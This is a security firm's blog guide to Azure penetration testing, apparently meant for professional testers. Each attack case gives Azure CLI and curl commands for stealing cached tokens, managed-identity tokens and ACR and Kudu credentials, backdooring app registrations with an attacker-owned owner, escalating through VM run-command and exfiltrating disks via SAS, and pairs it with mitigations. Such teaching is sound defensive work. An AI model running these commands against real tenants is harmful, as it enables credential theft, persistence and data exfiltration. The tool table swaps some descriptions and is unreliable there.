logo svg
logo

October 15, 2025

Azure Penetration Testing: Methodology and Approach

Learn how to perform effective Azure penetration testing. Step-by-step guide covering enumeration, common attacks and misconfigurations.

Khaled Hassan

Khaled Hassan

Featured Image

Azure Cloud Penetration Testing Guide: A Complete Technical Blueprint

Cloud security is a cornerstone of modern enterprise defense, and Azure penetration testing has become a top priority for organizations relying on Microsoft’s cloud ecosystem. Unlike traditional on-prem infrastructures, Azure environments present a complex mix of identity-based security controls, network segmentation, SaaS integrations, and PaaS services. For penetration testers and security professionals, mastering these nuances is crucial to simulate real-world adversaries effectively.

This comprehensive guide provides a structured methodology to conduct Azure cloud penetration testing—from initial enumeration to exploitation and post-exploitation—designed for intermediate to senior security professionals.

Table of Contents

Why Azure Penetration Testing Matters

Microsoft Azure hosts over 70% of Fortune 500 companies, making it a prime target for threat actors. While Microsoft provides robust security controls, misconfigurations, weak identity management, and excessive permissions remain the biggest attack surfaces.

Penetration testing Azure environments helps organizations:

“Cloud misconfiguration is still the number one cause of breaches in cloud environments.” Gartner 2024 Security Report

Pre-Engagement Rules and Scoping

Before launching any testing activity, clear rules of engagement must be established to remain compliant with Microsoft’s Cloud Penetration Testing Rules.

Key Scoping Considerations

Tip: Use a signed Rules of Engagement (RoE) document to protect both the testing team and the client.

Understanding Azure Architecture

A solid understanding of Azure’s structure is essential to identify attack vectors. Azure resources are organized in a hierarchical model:

  1. Tenant → represents the organization’s identity boundary (Azure AD).
  2. Management Groups → used to manage multiple subscriptions.
  3. Subscriptions → billing and access boundary.
  4. Resource Groups → logical containers for resources.
  5. Resources → virtual machines, storage accounts, databases, Key Vaults, etc.

Key security layer: Azure Active Directory (Entra ID) controls access across Azure, M365, and connected SaaS applications. Most attacks pivot around identity and permissions here.

Azure Attacks & Test Cases

Azure Portal access for all users (tenant-wide info leak)

Why it matters: By default, any user can browse the Azure portal surface and enumerate some tenant objects and app connections.

Check

Mitigation

Anonymous service discovery via Azure DNS suffixes

Goal: Find accidentally exposed services by fuzzing common Azure DNS zones (read-only checks only).

Targets

Safe triage

# Resolve candidate hostnames without sending requests to app paths
dig +short myapp.azurewebsites.net
dig +short mystorage.blob.core.windows.net


Mitigation

Azure Storage Blob scanning (anonymous)

Goal: Detect publicly listable/READable containers.

Safe check

# Inventory
az graph query -q "Resources | where type=='microsoft.storage/storageaccounts' | project name,rg=resourceGroup,allowBlobPublicAccess=properties.allowBlobPublicAccess"

# Spot-test (anonymous listing)
az storage blob list \\\\
  --account-name <acct> \\\\
  --container-name <container> \\\\
  --auth-mode login \\\\
  --output table
# If anonymous listing is possible, stop; don’t download data.



Mitigation

Tenant enumeration (OpenID config)

Goal: Identify tenant ID and endpoints safely.

curl -s <https://login.microsoftonline.com/><org-domain>/.well-known/openid-configuration | jq '.issuer,.authorization_endpoint,.token_endpoint'



What to expect: Tenant (GUID) revealed via issuer; use only for scoping. Mitigation: None needed—public metadata by design. Use branding and monitoring to reduce phishing utility.

Azure Cloud Shell extract access token (session abuse)

Goal: Reuse cached bearer tokens from a compromised Cloud Shell.

# Inside Cloud Shell
cat ~/.azure/accessTokens.json


Evidence: JWTs scoped to ARM/Graph. Mitigation: Disable Cloud Shell for non-admins, enforce re-auth, monitor Cloud Shell app sign-ins, shorten token lifetimes.

ACR pull images with Reader account (misconfig paths)

Risk patterns

Checks

az acr show -n <registry> -g <rg> --query "{adminUserEnabled:adminUserEnabled, policies:policies}"
az role assignment list --scope $(az acr show -n <registry> --query id -o tsv) -o table

What to look for

Mitigation

ACR extract admin password (if enabled)

Goal: Retrieve ACR admin creds (high impact if someone left it on).

# Requires adequate rights on ACR resource
az acr credential show -n <registry>

Mitigation

AKS gather kubectl credentials

Goal: Obtain cluster credentials from control plane (if caller has rights).

az aks get-credentials -g <rg> -n <aks> --overwrite-existing
kubectl get pods -A


What to expect: If Azure AD/RBAC is weak, this yields cluster-admin or broad namespace access. Mitigation: Enforce Azure AD for AKS, granular Kubernetes RBAC, and least-priv on get-credentials.

Azure Functions access keys stored in Storage by default

Goal: Read Function host keys if Storage is weakly secured.

# Common secrets container
az storage blob list \\\\
  --account-name <func_storage_acct> \\\\
  --container-name azure-webjobs-secrets \\\\
  --auth-mode login -o table

Mitigation

Backdoor Azure Applications & abuse Service Principals

Goal: Persistence via app creds/owners/permissions.

Common abuse paths

Commands

# Add new secret to app
az ad app credential reset --id <APP_ID> --append --display-name "ops-automation" --years 1

# Add owner
az ad app owner add --id <APP_ID> --owner-object-id <ATTACKER_OBJECT_ID>

# Grant permissions (careful; needs admin rights)
az ad app permission add   --id <APP_ID> --api <RESOURCE_APP_ID> --api-permissions <PERM_ID>=Role
az ad app permission grant --id <APP_ID> --api <RESOURCE_APP_ID>


Mitigation

Exploit VM Managed Identity (MSI)

Goal: Pull an ARM/Graph token from the instance metadata endpoint (IMDS).

curl -H "Metadata:true" \\\\
  "<http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com>"



Mitigation

VM Run Command (Linux & Windows) escalation via Contributor

Goal: Execute commands as root (Linux) or NT AUTHORITY\SYSTEM (Windows) when you have Microsoft.Compute/*/runCommand via Contributor.

# Linux
az vm run-command invoke -g <rg> -n <vm> --command-id RunShellScript --scripts "id"

# Windows
az vm run-command invoke -g <rg> -n <vm> --command-id RunPowerShellScript --scripts "whoami"

Mitigation

Exfiltration of VM disks (SAS grant)

Goal: Obtain a time-bound SAS URL to read VHD contents.

az disk grant-access --name <diskName> --resource-group <rg> --duration-in-seconds 3600

Mitigation

Dump credentials from App Service (Kudu/SCM)

Goal: Enumerate environment variables and settings via Kudu if reachable.

# If SCM is accessible and auth misconfigured
curl -u <user>:<pass> https://<app>.scm.azurewebsites.net/api/settings
# Or via CLI (safer)
az webapp config appsettings list -g <rg> -n <app>

Mitigation

Tooling quick-reference

Tooling quick-reference

ToolUsageLink
ROADtools (ROADrecon)Azure AD / Entra ID enumerationhttps://github.com/dirkjanm/ROADtools
AADInternalsAdvanced Entra ID / Azure AD PowerShell toolkithttps://github.com/Gerenios/AADInternals
AzureHoundAzure data exporter for BloodHound (collection)https://github.com/SpecterOps/AzureHound
BloodHoundGraph-based attack-path analysishttps://github.com/SpecterOps/BloodHound
MicroBurstAutomated Azure attack & escalation scriptshttps://github.com/NetSPI/MicroBurst
Azure CLI (azure-cli)Authenticated Azure enumeration & managementhttps://github.com/Azure/azure-cli
Azure PowerShell (azure-powershell / Az)GUI for browsing Azure Storage accountshttps://github.com/Azure/azure-powershell
Azure Storage ExplorerCLI tool for copying Azure Storage datahttps://github.com/microsoft/AzureStorageExplorer
ScoutSuiteMulti-cloud security posture auditinghttps://github.com/nccgroup/ScoutSuite
CloudSploit (Aqua / cloudsploit)Cloud configuration / CSPM checkshttps://github.com/aquasecurity/cloudsploit
ImpacketPost-exploitation / AD lateral movementhttps://github.com/fortra/impacket
CrackMapExecExploitation framework & moduleshttps://github.com/byt3bl33d3r/CrackMapExec
PowerZurePowerShell Azure reconnaissance & exploitationhttps://github.com/hausec/PowerZure
ROBDog (various repos)(user-listed) repository referencehttps://github.com/adourish/robodog

How to weave these into your report

Expert Sources Referenced

background
Let's hack you before real hackers do

Stay secure with DeepStrike penetration testing services. Reach out for a quote or customized technical proposal today

Contact Us